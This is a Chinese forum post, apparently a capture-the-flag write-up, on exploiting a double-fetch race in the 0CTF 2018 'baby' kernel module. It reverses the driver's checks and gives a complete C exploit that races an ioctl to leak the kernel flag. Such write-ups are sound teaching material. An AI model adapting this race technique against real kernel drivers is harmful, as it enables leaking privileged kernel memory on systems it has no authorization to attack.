首页
社区
课程
招聘
[原创]Linux Kernel Pwn_1_Double fetch
2020-10-3 11:15 5230

[原创]Linux Kernel Pwn_1_Double fetch

2020-10-3 11:15
5230

 

title: Linux Kernel pwn(1)——Double fetch
date: 2020-09-10 01:35:59
tags: Double fetch
categories: kernel

cover: https://orangegzy.github.io/img/IMG_7050.PNG

Linux Kernel pwn(1) 之Double fetch

咕咕咕了好久,之前做了一个学长出的内核rop,感觉还是学到了很多,今天做一道Double fetch

什么是Double fetch

double fetch漏洞隶属于条件竞争漏洞,但是他特指在一种内核态与用户态之间的数据访问竞争。

 

 

以上是一个经典的Double fetch漏洞:

  1. 首先,一个用户态线程准备好了数据(preparedata -> user data)

  2. 然后通过syscall切入内核态

  3. 内核第一次取用数据时进行了安全检查

  4. 当检查通过数据后,第二次取用进行真正的使用

  5. 问题就在于,如果我们在通过第一次检查之后,也就是在1st fetch与2nd fetch之间,hijack掉user data,那么就会导致内核拿到了错误的数据!在真实使用时造成访问越界或缓冲区溢出,最终导致内核崩溃或权限提升

准备工作

首先解包文件系统:

1
2
3
4
➜  2018 0CTF Finals Baby Kernel mkdir core
➜  2018 0CTF Finals Baby Kernel cd core
➜  core mv ../core.cpio
➜  core cpio -idmv < core.cpio

 

可以看到fs.sh是打包脚本

 

##

查看开机自启动脚本 core/init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/sh
 
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
echo "flag{this_is_a_sample_flag}" > flag        //可以看到这里有个flag文件
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
 
insmod baby.ko
chmod 777 /dev/baby
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
 
umount /proc
umount /sys
poweroff -d 0  -f

查看baby.ko

1
2
3
4
5
6
__int64 init_module()
{
  _fentry__();
  misc_register(&baby);
  return 0LL;
}

首先调用misc_register()注册了一个杂项设备baby。

 

然后有一个baby_ioctl()函数,作为用户态与这个设备通信的接口:

 

_chk_range_not_ok函数

 

其实就是判断a3是否小于a2+a1.。。用来判断是否越界。

 

我们再回到caller中看他传进入的到底是什么玩意。

 

 

首先是第一个判断.

1
__int64 v2; // rdx

v2是rdx也就是第三个参数,实际传进来的应该是第三个参数的地址。也就是说,判断第三个参数的地址+0x10是否大于&current_task+0x1358

 

 

然后看第二个,v5=v2,相当于是判断是否v5+\(v5+8)大于&current_task+0x1358

 

于是感觉这个传进来的第三个参数的地址,应该是一个结构体的地址啊orz

 

并且结构体的第一或二个位置的元素应该是一个指针

 

 

看最后一个取结构体的第二个元素判断是否跟flag等长??那第二个元素应该是一个长度,那么也就是说第一个位置是一个指针。

&current_task+0x1358

经过我们动态调试:

 

 

到达调用► 0xffffffffc03de09b <baby_ioctl+123> call __chk_range_not_ok <0xffffffffc03de000>

 

 

可以看到实际上&current_task+0x1358就是0x7ffffffff000,也就是说,这里实际在判断:1.数据的指针是否指向用户态?2.flag的指针是否指向用户态?3.flag的长度是否等于内核中真正的flag的长度?

 

只要bypass掉这三个,我们就可以把flag打出来。

然后我们继续向下:

 

最后到达这里,判断结构体中*(第一个元素+i)是否等于flag[i],看到这里,盲猜这用户空间传来的结构体是如下的结构:

1
2
3
4
struct user_data{
    char * my_flag;
    int size;
}

漏洞点分析

这个程序乍一看其实没什么问题orz。。实际上是有条件竞争的(内核态与用户态的double fetch)。如果我们先构造一个user_data来通过内核态的验证(此时user_data还是在用户态的,只是把地址送进去了),然后在起一个evil thread来不断劫持用户态的user_data的my_Flag指针指向真正的flag的位置。同时,不停的用ioctl发0x1337进入else if。那么就能通过double fetch的条件竞争bypass内核对my_flag的验证,最后打出来flag即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
 
int Time=1000;
unsigned long long flag_addr;       //真正的flag的位置
int finish=1;
 
struct usr_data{
    char *flag;
    size_t len;
};
 
 
void evil_thread_func(void *a){ //传进来的参数是usr_data的地址
    printf("Evil thread trugger!\n");
    struct usr_data *s = a;
    while(finish==1){
        s->flag = flag_addr;        //改他!改他!
    }
 
};
 
 
int main(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
 
 
    char buf[201]={0};
    char usr_flag[] = "flag{aasdascxcdadwdaw}";
 
 
    struct usr_data usr_data;
    usr_data.flag = usr_flag;
    usr_data.len = 33;
 
    int fd;
    fd = open("/dev/baby",0);   //打开对应设备
 
    int ret;
    ret = ioctl(fd,0x6666);     //发送0x6666
    system("dmesg | grep flag > /tmp/sir.txt");  //通过dmesg获取printk出来的内核态flag地址
 
 
    int file_fd = open("/tmp/sir.txt",O_RDONLY);
    int id = read(file_fd,buf,200);
    close(file_fd);
 
    char *addr;
    addr = strstr(buf,"Your flag is at ");
    if(!addr){
        perror("error!");
        return -1;
    }
 
    addr += 0x10;
 
    flag_addr = strtoull(addr,addr+16,16);    //16进制字符串转unsigned longlong,全局变量flag_addr中此时是真正的flag的地址
    printf("[*]flag addr is : %p\n",flag_addr);
 
    pthread_t evil_thread;
    pthread_create(&evil_thread,NULL,evil_thread_func,&usr_data);       //开一个恶意线程来修改usr data,不断的将user_flag所指向的用户态地址修改为flag的内核地址以制造竞争条件,从而使其通过驱动中的逐字节比较检查,输出flag内容
    //Time=1000
    for(int i=0;i<Time;i++){
        ret = ioctl(fd,0x1337,&usr_data);       //不断地去发0x1337进入第二个if
        usr_data.flag=usr_flag;                 //保证usr.flag指向用户态的空间
    }
    finish=0;                                   //到这里应该已经改完了
    pthread_join(evil_thread,NULL);
    close(fd);
    printf("The flag in Kernel is :\n");
    system("dmesg | grep flag");
    return 0;
 
 
 
 
 
    return 0;
 
}

效果:

 

番外:关于__CFADD__宏

1
2
3
4
5
6
7
8
9
10
11
12
// carry flag of addition (x+y)
template<class T, class U> int8 __CFADD__(T x, U y)
{
  int size = sizeof(T) > sizeof(U) ? sizeof(T) : sizeof(U);
  if ( size == 1 )
    return uint8(x) > uint8(x+y);
  if ( size == 2 )
    return uint16(x) > uint16(x+y);
  if ( size == 4 )
    return uint32(x) > uint32(x+y);
  return uint64(x) > uint64(x+y);
}

这个玩意出现在这里很奇怪,它相当于是:

 

负责将a1,a2本来的两个有符号数转成无符号数相加,然后通过他们的CF标志位判断是否溢出(无符号),而比如说同样的int,那么unsigned int肯定在正数范围内能取到的值大于signed int,那么如果你uint都溢出了,那么你的signed int相加必然溢出。

 

关于这个宏出现在这里的功能也只能这么想了。。

参考

https://www.xuebuyuan.com/541821.html

 

https://cloud.tencent.com/developer/article/1432392


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回